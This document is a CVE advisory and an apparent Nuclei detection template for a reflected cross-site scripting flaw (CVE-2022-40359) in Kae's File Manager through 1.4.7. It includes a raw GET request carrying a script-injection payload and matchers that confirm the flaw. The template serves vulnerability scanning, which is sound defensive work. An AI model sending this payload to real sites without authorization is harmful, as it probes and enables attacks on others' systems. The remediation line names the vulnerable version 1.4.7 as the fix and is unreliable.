Kae's File Manager through 1.4.7 contains a cross-site scripting vulnerability via a crafted GET request to /kfm/index.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks
PoC代码[已公开]
id: CVE-2022-40359
info:
name: Kae's File Manager <=1.4.7 - Cross-Site Scripting
author: edoardottt,daffainfo
severity: medium
description: |
Kae's File Manager through 1.4.7 contains a cross-site scripting vulnerability via a crafted GET request to /kfm/index.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Upgrade to the latest version of Kae's File Manager plugin (1.4.7) or apply the vendor-provided patch to mitigate the XSS vulnerability.
reference:
- https://cxsecurity.com/issue/WLB-2022090057
- https://code.google.com/archive/p/kfm/downloads
- https://nvd.nist.gov/vuln/detail/CVE-2022-40359
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-40359
cwe-id: CWE-79
epss-score: 0.06664
epss-percentile: 0.90869
cpe: cpe:2.3:a:kfm_project:kfm:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: kfm_project
product: kfm
tags: cve,cve2022,xss,kfm,kfm_project
http:
- raw:
- |
GET /kfm/index.php/'<script>alert(document.domain);</script> HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<script>alert(document.domain);</script>"
- "x_kfm_changeCaption"
- "kfm_copyFiles"
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4b0a00483046022100d3caf031dd98793f279ee224d625976e3bad81a4a7430f4bf6547ec976410646022100ae7bce945403c621342c05dea81b38aa4a6dd99ff3408b850d72cf2e4e260565:922c64590222798bb761d5b6d8e72950